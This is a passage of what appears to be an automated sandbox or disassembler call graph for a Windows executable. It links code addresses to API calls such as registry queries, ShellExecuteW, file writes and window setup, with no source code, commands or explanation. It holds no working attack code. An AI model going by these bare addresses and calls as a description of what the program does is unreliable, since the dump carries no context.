49741 41a10d 49740->49741 49742 416bde 34 API calls 49741->49742 49743 41a118 49742->49743 49744 416bde 34 API calls 49743->49744 49745 41a123 49744->49745 49746 416bde 34 API calls 49745->49746 49747 41a12e 49746->49747 49748 416bde 34 API calls 49747->49748 49749 41a139 49748->49749 49750 416bde 34 API calls 49749->49750 49751 41a144 49750->49751 49752 416bde 34 API calls 49751->49752 49753 41a14f 49752->49753 49754 416bde 34 API calls 49753->49754 49755 41a15a 49754->49755 49756 416bde 34 API calls 49755->49756 49757 41a165 49756->49757 49758 416bde 34 API calls 49757->49758 49759 41a1b4 49758->49759 49776 403465 34 API calls 49759->49776 49761 41a231 49777 402a44 34 API calls 49761->49777 49763 41a253 49764 416bde 34 API calls 49763->49764 49765 41a25e 49764->49765 49766 416bde 34 API calls 49765->49766 49767 41a269 49766->49767 49768 416d00 34 API calls 49767->49768 49769 41a302 49768->49769 49770 449170 34 API calls 49769->49770 49773 41f74f 49770->49773 49771 41f7da 49774 449646 38 API calls 49771->49774 49772 416034 34 API calls 49772->49773 49773->49771 49773->49772 49774->49733 49775->49737 49776->49761 49777->49763 49778 4582c6 49783 40f71a 49778->49783 49782 4582db 49784 40f727 _fast_error_exit 49783->49784 49785 449170 34 API calls 49784->49785 49786 40f76f GetModuleFileNameW 49785->49786 49787 40f7a3 49786->49787 49788 449170 34 API calls 49787->49788 49789 40f7db 49788->49789 49790 40f7fe RegOpenKeyExW 49789->49790 49791 40f930 49790->49791 49792 40f823 RegQueryValueExW 49790->49792 49796 449646 38 API calls 49791->49796 49793 40f927 RegCloseKey 49792->49793 49795 40f84d 49792->49795 49793->49791 49794 449170 34 API calls 49794->49795 49795->49793 49795->49794 49796->49782 49797 44faf0 49798 44fb2c 49797->49798 49819 44fb25 49797->49819 49799 44fb56 49798->49799 49800 44fb6a 49798->49800 49824 455696 36 API calls 2 library calls 49799->49824 49803 44fc04 WriteFile 49800->49803 49810 44fb78 49800->49810 49805 44fc1c 49803->49805 49806 44fc28 GetLastError 49803->49806 49808 44fc64 49805->49808 49812 44fc3d 49805->49812 49805->49819 49806->49805 49807 44fb65 49807->49800 49808->49819 49828 44d915 34 API calls __umatherr 49808->49828 49810->49808 49813 44fbc9 WriteFile 49810->49813 49811 44fc7e 49829 44d91e 34 API calls __umatherr 49811->49829 49816 44fc45 49812->49816 49817 44fc59 49812->49817 49813->49806 49814 44fb8c 49813->49814 49814->49805 49814->49810 49821 44fc02 49814->49821 49825 44d915 34 API calls __umatherr 49816->49825 49827 44d927 34 API calls __umatherr 49817->49827 49830 44c969 49819->49830 49821->49805 49822 44fc4a 49826 44d91e 34 API calls __umatherr 49822->49826 49824->49807 49825->49822 49826->49819 49827->49819 49828->49811 49829->49819 49831 44c971 49830->49831 49832 44c938 __lock 49830->49832 49836 4545bb 34 API calls 6 library calls 49832->49836 49837 458322 49840 403f24 DeleteObject DestroyWindow InvalidateRect 49837->49840 49841 45828c 49846 412519 49841->49846 49845 4582a0 49847 412537 49846->49847 49848 416bde 34 API calls 49847->49848 49849 412544 49847->49849 49848->49847 49853 4129c0 49849->49853 49852 449646 38 API calls 49852->49845 49854 4129d2 __umatherr 49853->49854 49855 412550 49853->49855 49856 4129f6 CreateIcon 49854->49856 49855->49852 49856->49855 49857 45833c 49860 41f7e3 49857->49860 49861 41f7f6 49860->49861 49862 41f822 mciSendStringW 49861->49862 49863 41f81b DestroyWindow 49861->49863 49864 41f88c 49862->49864 49865 41f83a 49862->49865 49863->49862 49867 41f90d 49864->49867 49872 41f8d4 FindClose 49864->49872 49874 413e1f 47 API calls 49864->49874 49865->49864 49866 41f856 UnregisterHotKey 49865->49866 49866->49865 49886 43138d 49867->49886 49870 4183f6 ctype VariantClear 49871 41f9a9 49870->49871 49894 4217e3 CloseHandle CloseHandle CloseHandle CloseHandle ctype 49871->49894 49872->49864 49874->49864 49888 431399 49886->49888 49887 4313a2 49890 418ad9 35 API calls 49887->49890 49888->49887 49895 421751 VariantClear 49888->49895 49891 4313c5 49890->49891 49892 41f99e 49891->49892 49893 4313cd CoUninitialize 49891->49893 49892->49870 49893->49892 49895->49888 49896 44be98 49897 44bea4 __lock _fast_error_exit 49896->49897 49898 44beb0 GetVersionExA 49897->49898 49899 44beec 49898->49899 49900 44bef8 GetModuleHandleA 49898->49900 49899->49900 49903 44bf14 49900->49903 49902 44bf66 49904 44bf72 49902->49904 50056 44be74 34 API calls _fast_error_exit 49902->50056 49939 44e07d HeapCreate 49903->49939 49946 44c499 49904->49946 49907 44bf78 49908 44bf83 49907->49908 50057 44be74 34 API calls _fast_error_exit 49907->50057 49964 4505a6 49908->49964 49912 44bf9c 49981 4536f2 49912->49981 49919 44bfb6 49920 44bfc1 49919->49920 50059 44be4f 34 API calls _fast_error_exit 49919->50059 50024 4532bf 49920->50024 49924 44bfd2 50034 44ae57 49924->50034 49928 44bfe9 GetStartupInfoW 49930 44bffb 49928->49930 49932 44c00d GetModuleHandleA 49930->49932 49931 44bfe8 49931->49928 50038 401852 49932->50038 49935 44c02b 50062 44afa6 34 API calls __startOneArgErrorHandling 49935->50062 49938 44c030 __lock 49940 44e0c7 49939->49940 49941 44e09d 49939->49941 49940->49902 49942 44e0ca 49941->49942 50063 44e0ce RtlAllocateHeap 49941->50063 49942->49902 49944 44e0b6 49944->49942 49945 44e0bb HeapDestroy 49944->49945 49945->49940 50064 44c588 GetProcAddress __lock 49946->50064 49948 44c49e 49949 44c4a2 49948->49949 49950 44c4aa 49948->49950 50065 44c282 37 API calls ___free_lc_time 49949->50065 49953 44c4bd GetProcAddress GetProcAddress GetProcAddress GetProcAddress 49950->49953 49954 44c528 FlsAlloc 49950->49954 49952 44c4a7 49952->49907 49953->49954 49955 44c500 49953->49955 49956 44c53d 49954->49956 49957 44c57e 49954->49957 49955->49954 50066 4504cf 34 API calls 3 library calls 49956->50066 50067 44c282 37 API calls ___free_lc_time 49957->50067 49960 44c54b 49960->49957 49962 44c553 FlsSetValue 49960->49962 49961 44c583 49961->49907 49962->49957 49963 44c564 GetCurrentThreadId 49962->49963 49963->49961 50068 449adf 49964->50068 49966 44bf91 49966->49912 50058 44be4f 34 API calls _fast_error_exit 49966->50058 49968 4505fb GetStartupInfoA 49974 450615 49968->49974 49975 4506fe 49968->49975 49969 45078e SetHandleCount 49969->49966 49970 45072d GetStdHandle 49971 45073b GetFileType 49970->49971 49970->49975 49971->49975 49972 450686 49972->49975 49977 4506ac GetFileType 49972->49977 49980 4506b7 49972->49980 49973 449adf __getbuf 34 API calls 49973->49974 49974->49972 49974->49973 49974->49975 49975->49969 49975->49970 49976 450752 49975->49976 49976->49966 49976->49975 50072 454432 GetProcAddress __lock 49976->50072 49977->49972 49977->49980 49980->49966 49980->49972 50071 454432 GetProcAddress __lock 49980->50071 49982 453705 GetCommandLineW 49981->49982 49983 453732 49981->49983 49984 453717 GetLastError 49982->49984 49985 45370b 49982->49985 49986 453737 GetCommandLineW 49983->49986 49987 453722 49983->49987 49984->49987 49989 44bfa2 49984->49989 49985->49986 49986->49989 49988 453740 GetCommandLineA MultiByteToWideChar 49987->49988 49987->49989 49988->49989 49990 453760 49988->49990 49996 453588 49989->49996 49991 449adf __getbuf 34 API calls 49990->49991 49992 453769 49991->49992 49992->49989 49993 453770 MultiByteToWideChar 49992->49993 49993->49989 49994 45377f 49993->49994 50073 449c88 49994->50073 49997 4535c2 49996->49997 49998 4535a3 GetEnvironmentStringsW 49996->49998 49999 4535ab 49997->49999 50000 45362e 49997->50000 49998->49999 50001 4535b7 GetLastError 49998->50001 50003 4535e9 49999->50003 50004 4535da GetEnvironmentStringsW 49999->50004 50002 453637 GetEnvironmentStrings 50000->50002 50005 44bfac 50000->50005 50001->49997 50002->50005 50010 453643 _strlen 50002->50010 50008 449adf __getbuf 34 API calls 50003->50008 50004->50003 50004->50005 50020 4534f2 GetModuleFileNameW 50005->50020 50006 45366d 50009 449adf __getbuf 34 API calls 50006->50009 50007 45364a MultiByteToWideChar 50007->50005 50007->50010 50015 45360a 50008->50015 50019 45367b _strlen 50009->50019 50010->50006 50010->50007 50011 4536e6 FreeEnvironmentStringsA 50011->50005 50012 453613 FreeEnvironmentStringsW 50012->50005 50013 4536c7 FreeEnvironmentStringsA 50013->50005 50014 45368d MultiByteToWideChar 50016 4536dc 50014->50016 50014->50019 50015->50012 50017 449c88 ___free_lc_time 34 API calls 50016->50017 50018 4536e5 50017->50018 50018->50011 50019->50011 50019->50013 50019->50014 50021 453524 50020->50021 50022 449adf __getbuf 34 API calls 50021->50022 50023 45354f 50022->50023 50023->49919 50025 4532d8 50024->50025 50029 44bfc7 50024->50029 50026 449adf __getbuf 34 API calls 50025->50026 50032 453300 50026->50032 50027 45334e 50028 449c88 ___free_lc_time 34 API calls 50027->50028 50028->50029 50029->49924 50060 44be4f 34 API calls _fast_error_exit 50029->50060 50030 449adf __getbuf 34 API calls 50030->50032 50031 453373 50033 449c88 ___free_lc_time 34 API calls 50031->50033 50032->50027 50032->50029 50032->50030 50032->50031 50033->50029 50035 44ae60 50034->50035 50037 44ae9c 50035->50037 50085 449646 38 API calls 50035->50085 50037->49928 50061 44be4f 34 API calls _fast_error_exit 50037->50061 50086 401904 50038->50086 50041 401890 50090 44917e 50041->50090 50044 4018a1 50095 412124 50044->50095 50048 4018c1 50111 40109d GetCurrentDirectoryW 50048->50111 50052 4018d2 50052->49935 50053 44af84 50052->50053 50877 44aec1 50053->50877 50055 44af91 50055->49935 50056->49904 50057->49908 50058->49912 50059->49920 50060->49924 50061->49931 50062->49938 50063->49944 50064->49948 50065->49952 50066->49960 50067->49961 50069 449ab3 __getbuf 34 API calls 50068->50069 50070 449aee 50069->50070 50070->49966 50070->49968 50071->49980 50072->49976 50076 449c94 __lock 50073->50076 50074 449cf3 __lock 50074->49989 50075 449cd0 50075->50074 50077 449ce5 RtlFreeHeap 50075->50077 50076->50074 50076->50075 50078 44c6db __lock 33 API calls 50076->50078 50077->50074 50079 449cab ___free_lc_time 50078->50079 50082 449cc5 50079->50082 50083 44e141 VirtualFree VirtualFree HeapFree __shift 50079->50083 50084 449cdb RtlLeaveCriticalSection ___free_lc_time 50082->50084 50083->50082 50084->50075 50085->50037 50087 401884 50086->50087 50088 40190a LoadLibraryA 50086->50088 50087->50041 50151 4018ee LoadLibraryA GetProcAddress 50087->50151 50088->50087 50089 40191b GetProcAddress 50088->50089 50089->50087 50091 44c6db __lock 34 API calls 50090->50091 50092 449186 50091->50092 50153 44c626 RtlLeaveCriticalSection 50092->50153 50094 44919c 50094->50044 50154 40ea76 GetVersionExW 50095->50154 50098 41214d SystemParametersInfoW SystemParametersInfoW 50099 4018b4 50098->50099 50100 401961 50099->50100 50101 40196e _fast_error_exit 50100->50101 50102 416d00 34 API calls 50101->50102 50103 401985 50102->50103 50104 401afd 50103->50104 50106 416bfe 34 API calls 50103->50106 50107 401a32 50103->50107 50184 401b0d 34 API calls 50103->50184 50104->50048 50105 416bfe 34 API calls 50108 401af2 50105->50108 50106->50103 50107->50104 50107->50105 50185 401b0d 34 API calls 50108->50185 50186 4013e2 50111->50186 50113 4010cb 50114 4010d3 50113->50114 50115 4010e6 50113->50115 50298 40fa56 34 API calls 50114->50298 50249 40fee1 50115->50249 50119 4010e4 50259 40feaf 50119->50259 50120 401110 GetFullPathNameW 50120->50119 50122 40126b SetCurrentDirectoryW 50124 401278 50122->50124 50152 412178 SystemParametersInfoW 50124->50152 50127 401180 50129 40123e 50127->50129 50279 41629f 50127->50279 50128 40115a 50130 401164 SetCurrentDirectoryW 50128->50130 50288 40127d GetSysColorBrush LoadCursorW LoadIconW LoadIconW 50129->50288 50130->50124 50135 40119c 50135->50129 50137 4011a4 GetModuleFileNameW 50135->50137 50136 401248 50138 401258 50136->50138 50301 4128c6 69 API calls 50136->50301 50139 401214 GetForegroundWindow ShellExecuteW 50137->50139 50140 4011be 50137->50140 50144 4200f5 332 API calls 50138->50144 50141 401101 50139->50141 50143 416bfe 34 API calls 50140->50143 50141->50122 50145 4011cc 50143->50145 50144->50141 50299 416ee1 34 API calls 50145->50299 50147 4011d9 50300 416ee1 34 API calls 50147->50300 50149 4011e4 GetForegroundWindow ShellExecuteW 50150 401211 50149->50150 50150->50141 50151->50041 50152->50052 50153->50094 50157 40eac0 50154->50157 50155 40ecfe GetCurrentProcess 50170 40edd4 50155->50170 50157->50155 50159 40ed44 50173 40ee00 50159->50173 50160 40ed86 GetSystemInfo 50164 40ed70 50160->50164 50163 40ed65 50163->50164 50168 40ed6b FreeLibrary 50163->50168 50165 40edc6 FreeLibrary 50164->50165 50166 40edcb 50164->50166 50165->50166 50166->50098 50166->50099 50168->50164 50180 40ee27 50170->50180 50174 40ed52 50173->50174 50175 40ee06 LoadLibraryA 50173->50175 50174->50163 50177 40edea 50174->50177 50175->50174 50176 40ee17 GetProcAddress 50175->50176 50176->50174 50178 40ee00 2 API calls 50177->50178 50179 40ed63 GetNativeSystemInfo 50178->50179 50179->50163 50181 40ed1a 50180->50181 50182 40ee2d LoadLibraryA 50180->50182 50181->50159 50181->50160 50182->50181 50183 40ee3e GetProcAddress 50182->50183 50183->50181 50184->50103 50185->50104 50187 416bde 34 API calls 50186->50187 50188 4013f3 GetModuleFileNameW 50187->50188 50302 418b0c 50188->50302 50191 416bfe 34 API calls 50192 401438 50191->50192 50193 416990 39 API calls 50192->50193 50194 401448 50193->50194 50195 418a14 VariantClear 50194->50195 50196 401452 50195->50196 50197 416bfe 34 API calls 50196->50197 50198 401463 50197->50198 50199 416990 39 API calls 50198->50199 50200 401472 50199->50200 50201 416bfe 34 API calls 50200->50201 50202 401487 50201->50202 50203 4169e0 CharUpperBuffW 50202->50203 50204 401494 50203->50204 50309 401b2f 50204->50309 50206 4014ab 50316 44907d 50206->50316 50209 4014d2 50211 44907d 62 API calls 50209->50211 50210 401b2f 34 API calls 50210->50209 50212 4014df 50211->50212 50213 4014f9 50212->50213 50215 401b2f 34 API calls 50212->50215 50214 44907d 62 API calls 50213->50214 50216 401506 50214->50216 50215->50213 50217 401548 50216->50217 50218 40150f GetModuleFileNameW 50216->50218 50220 44907d 62 API calls 50217->50220 50219 401b2f 34 API calls 50218->50219 50221 40152f 50219->50221 50222 401555 50220->50222 50329 416cee 34 API calls 50221->50329 50226 401b2f 34 API calls 50222->50226 50229 401585 50222->50229 50224 4015a7 50230 419c9c 35 API calls 50224->50230 50225 40153a 50227 401b2f 34 API calls 50225->50227 50228 40156b 50226->50228 50227->50217 50233 401b2f 34 API calls 50228->50233 50229->50224 50231 401b2f 34 API calls 50229->50231 50232 4015b9 50230->50232 50231->50224 50234 419d56 35 API calls 50232->50234 50233->50229 50235 4015cb 50234->50235 50236 419c9c 35 API calls 50235->50236 50237 4015d2 50236->50237 50323 419e5c 50237->50323 50240 418a14 VariantClear 50248 4015ec 50240->50248 50241 401629 50242 4183f6 ctype VariantClear 50241->50242 50243 401631 50242->50243 50243->50113 50244 419c9c 35 API calls 50244->50248 50245 419e5c 34 API calls 50245->50248 50246 418b0c 35 API calls 50246->50248 50247 401b2f 34 API calls 50247->50248 50248->50241 50248->50244 50248->50245 50248->50246 50248->50247 50251 40fef6 __umatherr 50249->50251 50250 414e6e 35 API calls 50252 40ff5e 50250->50252 50251->50250 50255 4010fd 50251->50255 50345 414e97 50252->50345 50254 40ff65 50352 40fb2e GetFullPathNameW 50254->50352 50255->50120 50255->50141 50257 40ff90 50362 410562 50257->50362 50260 401141 50259->50260 50261 40feb6 50259->50261 50263 41fea4 50260->50263 50262 449170 34 API calls 50261->50262 50262->50260 50264 449170 34 API calls 50263->50264 50269 41fecf 50264->50269 50265 41ff4e 50867 435b03 77 API calls 50265->50867 50268 41ff5b 50270 401156 50268->50270 50868 420499 79 API calls 50268->50868 50269->50265 50269->50270 50866 42859b 77 API calls 50269->50866 50270->50127 50270->50128 50272 41ff64 50272->50270 50273 41ff6d GetFullPathNameW 50272->50273 50274 416d00 34 API calls 50273->50274 50275 41ff99 50274->50275 50276 416d00 34 API calls 50275->50276 50277 41ffa8 50276->50277 50278 416d00 34 API calls 50277->50278 50278->50270 50280 4162aa 50279->50280 50281 4162ae OpenSCManagerW 50279->50281 50280->50135 50282 4162e9 50281->50282 50283 4162bf LockServiceDatabase 50281->50283 50282->50135 50284 4162d3 GetLastError 50283->50284 50285 4162ca UnlockServiceDatabase 50283->50285 50286 4162e0 50284->50286 50287 4162e2 CloseServiceHandle 50284->50287 50285->50286 50286->50287 50287->50282 50289 4012e9 LoadImageW 50288->50289 50290 4012cf 50288->50290 50292 4012ff RegisterClassExW 50289->50292 50290->50289 50291 4012d8 50290->50291 50869 416168 50291->50869 50873 404205 GetSysColorBrush RegisterClassExW RegisterClipboardFormatW 50292->50873 50297 401371 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 50297->50136 50298->50119 50299->50147 50300->50149 50301->50138 50303 4183f6 ctype VariantClear 50302->50303 50304 418b13 50303->50304 50305 449170 34 API calls 50304->50305 50306 418b21 50305->50306 50307 401428 50306->50307 50308 416c4c 34 API calls 50306->50308 50307->50191 50308->50307 50310 401b48 50309->50310 50311 401b39 50309->50311 50330 416cee 34 API calls 50310->50330 50312 416d00 34 API calls 50311->50312 50313 401b44 50312->50313 50313->50206 50315 401b5a 50315->50206 50331 44c2b2 GetLastError FlsGetValue 50316->50331 50318 449086 50322 449099 50318->50322 50341 44c23e 34 API calls 2 library calls 50318->50341 50320 44b526 62 API calls 50320->50322 50321 4014b8 50321->50209 50321->50210 50322->50320 50322->50321 50324 419e63 50323->50324 50325 449170 34 API calls 50324->50325 50327 4015e2 50324->50327 50326 419e89 50325->50326 50326->50327 50344 418198 34 API calls 50326->50344 50327->50240 50329->50225 50330->50315 50332 44c317 SetLastError 50331->50332 50333 44c2ce 50331->50333 50332->50318 50342 4504cf 34 API calls 3 library calls 50333->50342 50335 44c2da 50336 44c2e2 FlsSetValue 50335->50336 50337 44c30f 50335->50337 50336->50337 50339 44c2f3 GetCurrentThreadId 50336->50339 50343 44be4f 34 API calls _fast_error_exit 50337->50343 50339->50332 50340 44c316 50340->50332 50341->50322 50342->50335 50343->50340 50344->50327 50394 449154 50345->50394 50347 414eb2 SHGetMalloc 50348 414ed3 SHGetDesktopFolder 50347->50348 50350 414ec2 50347->50350 50349 414ee1 50348->50349 50348->50350 50349->50350 50351 414f03 SHGetPathFromIDListW 50349->50351 50350->50254 50351->50350 50353 40fb7f 50352->50353 50357 40fb59 50352->50357 50354 416034 34 API calls 50353->50354 50355 40fb8b 50354->50355 50396 403d50 34 API calls 50355->50396 50357->50353 50359 44907d 62 API calls 50357->50359 50361 40fbae 50357->50361 50358 40fb9b 50397 403d50 34 API calls 50358->50397 50359->50357 50361->50257 50363 41056f _fast_error_exit 50362->50363 50398 442c1c 50363->50398 50366 410595 50368 4105f9 50366->50368 50369 41059a 50366->50369 50367 4105b9 50416 443162 50367->50416 50462 414469 53 API calls 50368->50462 50453 40ffa0 112 API calls _fast_error_exit 50369->50453 50374 41060d 50387 4105b4 50374->50387 50375 443162 67 API calls 50376 4105e7 50375->50376 50378 4105eb 50376->50378 50389 410617 50376->50389 50378->50368 50380 4105f1 50378->50380 50379 410714 50381 449c88 ___free_lc_time 34 API calls 50379->50381 50454 44a855 50380->50454 50384 410722 50381->50384 50385 44a855 46 API calls 50384->50385 50384->50387 50385->50387 50387->50255 50389->50379 50463 410414 36 API calls _fast_error_exit 50389->50463 50464 40fe2c 62 API calls 50389->50464 50465 40fdf3 54 API calls 50389->50465 50466 40fdc4 54 API calls 50389->50466 50467 449d8c 54 API calls 50389->50467 50468 40fac3 34 API calls 50389->50468 50469 41073c 64 API calls 50389->50469 50470 40fa56 34 API calls 50389->50470 50395 44915c 50394->50395 50395->50347 50395->50395 50396->50358 50397->50361 50399 4168a2 36 API calls 50398->50399 50400 442c32 50399->50400 50401 4168a2 36 API calls 50400->50401 50402 442c3f _strcat 50401->50402 50471 442a91 50402->50471 50408 442cc1 50409 442cd2 50408->50409 50410 442cc9 50408->50410 50487 44a98f 50409->50487 50411 44a855 46 API calls 50410->50411 50413 410591 50411->50413 50413->50366 50413->50367 50414 442cdf 50495 44be0e 50414->50495 50417 4168a2 36 API calls 50416->50417 50418 44317a _strcat 50417->50418 50419 44a64b 45 API calls 50418->50419 50420 4431af 50419->50420 50756 4432ef 50420->50756 50423 44a98f 44 API calls 50424 4431de 50423->50424 50425 44a98f 44 API calls 50424->50425 50426 4431ec 50425->50426 50427 44a98f 44 API calls 50426->50427 50428 443205 50427->50428 50429 44a98f 44 API calls 50428->50429 50430 44321e 50429->50430 50431 44a64b 45 API calls 50430->50431 50432 443235 50431->50432 50433 449adf __getbuf 34 API calls 50432->50433 50434 44323f 50433->50434 50435 449adf __getbuf 34 API calls 50434->50435 50436 443248 50435->50436 50437 44a98f 44 API calls 50436->50437 50438 443256 50437->50438 50762 442e08 50438->50762 50440 44326c 50441 443291 50440->50441 50442 44327c 50440->50442 50444 4432d3 50441->50444 50447 443297 50441->50447 50443 449c88 ___free_lc_time 34 API calls 50442->50443 50446 443284 50443->50446 50445 449c88 ___free_lc_time 34 API calls 50444->50445 50449 4105ce 50445->50449 50448 449c88 ___free_lc_time 34 API calls 50446->50448 50766 441b62 50447->50766 50448->50449 50449->50375 50449->50389 50452 449c88 ___free_lc_time 34 API calls 50452->50449 50453->50387 50455 44a861 __lock 50454->50455 50456 44a86e __lock 50455->50456 50457 44b8fc 35 API calls 50455->50457 50456->50368 50458 44a881 50457->50458 50809 44a809 50458->50809 50462->50374 50463->50389 50464->50389 50465->50389 50466->50389 50467->50389 50468->50389 50469->50389 50470->50389 50472 442a9e _strlen 50471->50472 50503 44220e 50472->50503 50475 44bc99 50524 44bc3d 50475->50524 50477 442caf 50477->50413 50478 442d0d 50477->50478 50479 442d1a _strcat _fast_error_exit 50478->50479 50480 44a98f 44 API calls 50479->50480 50481 44a64b 45 API calls 50479->50481 50482 442dc3 50479->50482 50486 442de3 50479->50486 50480->50479 50481->50479 50483 44a64b 45 API calls 50482->50483 50484 442dd1 50483->50484 50485 44a98f 44 API calls 50484->50485 50485->50486 50486->50408 50488 44a99b __lock 50487->50488 50615 44b8fc 50488->50615 50490 44a9a3 50621 44a8a6 50490->50621 50494 44a9c8 __lock 50494->50414 50496 44be1a __lock 50495->50496 50497 44b8fc 35 API calls 50496->50497 50498 44be22 50497->50498 50700 44bcac 50498->50700 50502 44be3c __lock 50502->50413 50505 442226 _fast_error_exit __umatherr 50503->50505 50506 4422b2 50505->50506 50507 44a129 50505->50507 50506->50475 50512 44eda8 50507->50512 50510 44a166 50510->50505 50513 44f527 50512->50513 50520 44edf4 __aulldvrm _strlen 50512->50520 50514 44c969 __startOneArgErrorHandling 34 API calls 50513->50514 50515 44a158 50514->50515 50515->50510 50523 44cbd4 43 API calls 2 library calls 50515->50523 50516 44ed1a 43 API calls _write_multi_char 50516->50520 50517 449adf __getbuf 34 API calls 50517->50520 50518 455332 35 API calls _write_multi_char 50518->50520 50519 449c88 ___free_lc_time 34 API calls 50519->50520 50520->50513 50520->50516 50520->50517 50520->50518 50520->50519 50521 44ed4d 43 API calls _write_multi_char 50520->50521 50522 44ed71 43 API calls 50520->50522 50521->50520 50522->50520 50523->50510 50525 44bc49 __lock 50524->50525 50535 44f6d3 50525->50535 50527 44bc4e 50528 44bc64 50527->50528 50529 44bc55 50527->50529 50555 452f60 50528->50555 50559 44d915 34 API calls __umatherr 50529->50559 50534 44bc5a __lock 50534->50477 50536 44f6df __lock 50535->50536 50537 44c6db __lock 34 API calls 50536->50537 50546 44f6ed 50537->50546 50538 44f75a 50561 44f7ec 50538->50561 50539 44f75e 50541 449adf __getbuf 34 API calls 50539->50541 50543 44f768 50541->50543 50542 44f7e1 __lock 50542->50527 50543->50538 50544 44f77e 50543->50544 50566 454432 GetProcAddress __lock 50544->50566 50546->50538 50546->50539 50548 44c63b __lock 34 API calls 50546->50548 50564 44b92b 35 API calls __lock 50546->50564 50565 44b97d RtlLeaveCriticalSection RtlLeaveCriticalSection ___free_lc_time 50546->50565 50548->50546 50549 44f78c 50551 44f797 50549->50551 50552 44f7aa RtlEnterCriticalSection 50549->50552 50553 449c88 ___free_lc_time 34 API calls 50551->50553 50552->50538 50554 44f79f 50553->50554 50554->50538 50558 452f7f 50555->50558 50556 44bc77 50560 44bc8f RtlLeaveCriticalSection RtlLeaveCriticalSection 50556->50560 50558->50556 50568 455e88 50558->50568 50559->50534 50560->50534 50567 44c626 RtlLeaveCriticalSection 50561->50567 50563 44f7f3 50563->50542 50564->50546 50565->50546 50566->50549 50567->50563 50569 455e94 __lock 50568->50569 50574 455ba1 50569->50574 50573 455ec4 __lock 50573->50556 50577 455bbc 50574->50577 50575 455c28 50576 44d915 __umatherr 34 API calls 50575->50576 50578 455c2d 50576->50578 50577->50575 50580 455c42 50577->50580 50579 44d91e _write_multi_char 34 API calls 50578->50579 50586 455c38 50579->50586 50581 455cb5 50580->50581 50584 455c8c 50580->50584 50582 44d915 __umatherr 34 API calls 50581->50582 50583 455cba 50582->50583 50585 44d91e _write_multi_char 34 API calls 50583->50585 50587 4509a2 37 API calls 50584->50587 50585->50586 50614 455ecd RtlLeaveCriticalSection _write_multi_char 50586->50614 50588 455d3a 50587->50588 50589 455d43 50588->50589 50590 455d5d CreateFileA 50588->50590 50591 44d915 __umatherr 34 API calls 50589->50591 50592 455d9c GetLastError 50590->50592 50593 455d8a GetFileType 50590->50593 50594 455d48 50591->50594 50597 44d927 _write_multi_char 34 API calls 50592->50597 50595 455d95 CloseHandle 50593->50595 50596 455dab 50593->50596 50598 44d91e _write_multi_char 34 API calls 50594->50598 50595->50592 50599 4507a4 35 API calls 50596->50599 50597->50586 50598->50586 50600 455dc6 50599->50600 50600->50586 50601 44f7f5 _write_multi_char 36 API calls 50600->50601 50602 455e09 50601->50602 50603 455e14 50602->50603 50604 455e3d 50602->50604 50606 44d91e _write_multi_char 34 API calls 50603->50606 50605 44ff81 40 API calls 50604->50605 50607 455e4d 50605->50607 50608 455e19 50606->50608 50609 455e63 50607->50609 50612 45705f 43 API calls 50607->50612 50608->50586 50611 44fd57 37 API calls 50608->50611 50609->50608 50610 44f7f5 _write_multi_char 36 API calls 50609->50610 50610->50608 50613 455e82 50611->50613 50612->50609 50614->50573 50616 44b920 RtlEnterCriticalSection 50615->50616 50617 44b909 50615->50617 50616->50490 50617->50616 50618 44b910 50617->50618 50619 44c6db __lock 34 API calls 50618->50619 50620 44b91e 50619->50620 50620->50490 50624 44a8c3 50621->50624 50625 44a8ca 50621->50625 50626 44a9d1 50624->50626 50625->50624 50629 45015e 50625->50629 50647 44fea0 50625->50647 50693 44b94e 50626->50693 50628 44a9d9 50628->50494 50630 45016a __lock 50629->50630 50631 4501ed 50630->50631 50633 450195 50630->50633 50684 44d915 34 API calls __umatherr 50631->50684 50653 4508e0 50633->50653 50634 4501f2 50685 44d91e 34 API calls __umatherr 50634->50685 50637 45019b 50638 4501bd 50637->50638 50639 4501a9 50637->50639 50681 44d915 34 API calls __umatherr 50638->50681 50665 44ff81 50639->50665 50642 4501b5 50683 4501e5 RtlLeaveCriticalSection _write_multi_char 50642->50683 50643 4501c2 50682 44d91e 34 API calls __umatherr 50643->50682 50644 4501dd __lock 50644->50625 50648 44febc 50647->50648 50649 44feb0 50647->50649 50648->50625 50649->50648 50650 44fed9 50649->50650 50692 45492b 34 API calls __getbuf 50649->50692 50652 45015e 42 API calls 50650->50652 50652->50648 50654 4508ec __lock 50653->50654 50655 45094e RtlEnterCriticalSection 50654->50655 50657 44c6db __lock 34 API calls 50654->50657 50656 45096e __lock 50655->50656 50656->50637 50658 450914 50657->50658 50659 450945 50658->50659 50660 45091d 50658->50660 50687 450977 RtlLeaveCriticalSection ___free_lc_time 50659->50687 50686 454432 GetProcAddress __lock 50660->50686 50663 45092b 50663->50659 50664 450931 __lock 50663->50664 50664->50656 50666 450022 50665->50666 50668 44ff9d 50665->50668 50666->50642 50667 44ffec ReadFile 50669 450005 GetLastError 50667->50669 50678 45003e 50667->50678 50668->50666 50668->50667 50670 450012 50669->50670 50672 450026 50669->50672 50688 44d915 34 API calls __umatherr 50670->50688 50672->50666 50690 44d927 34 API calls __umatherr 50672->50690 50673 450017 50689 44d91e 34 API calls __umatherr 50673->50689 50676 4500ba ReadFile 50677 4500d8 GetLastError 50676->50677 50679 4500e2 50676->50679 50677->50678 50677->50679 50678->50666 50678->50676 50679->50678 50691 455696 36 API calls 2 library calls 50679->50691 50681->50643 50682->50642 50683->50644 50684->50634 50685->50644 50686->50663 50687->50655 50688->50673 50689->50666 50690->50666 50691->50679 50692->50650 50694 44b972 RtlLeaveCriticalSection 50693->50694 50695 44b95b 50693->50695 50694->50628 50695->50694 50696 44b962 50695->50696 50699 44c626 RtlLeaveCriticalSection 50696->50699 50698 44b970 50698->50628 50699->50698 50701 44bcc5 50700->50701 50712 44f869 50701->50712 50703 44bce5 50711 44be45 RtlLeaveCriticalSection RtlLeaveCriticalSection 50703->50711 50704 44bcd1 50704->50703 50705 44bd3e 50704->50705 50707 44bcfe 50704->50707 50730 44d915 34 API calls __umatherr 50705->50730 50707->50703 50708 44f869 _write_multi_char 38 API calls 50707->50708 50709 44bd9d 50708->50709 50709->50703 50710 44f869 _write_multi_char 38 API calls 50709->50710 50710->50703 50711->50502 50713 44f875 __lock 50712->50713 50714 44f8f8 50713->50714 50716 44f8a0 50713->50716 50745 44d915 34 API calls __umatherr 50714->50745 50718 4508e0 _write_multi_char 35 API calls 50716->50718 50717 44f8fd 50746 44d91e 34 API calls __umatherr 50717->50746 50720 44f8a6 50718->50720 50721 44f8b4 50720->50721 50722 44f8c8 50720->50722 50731 44f7f5 50721->50731 50742 44d915 34 API calls 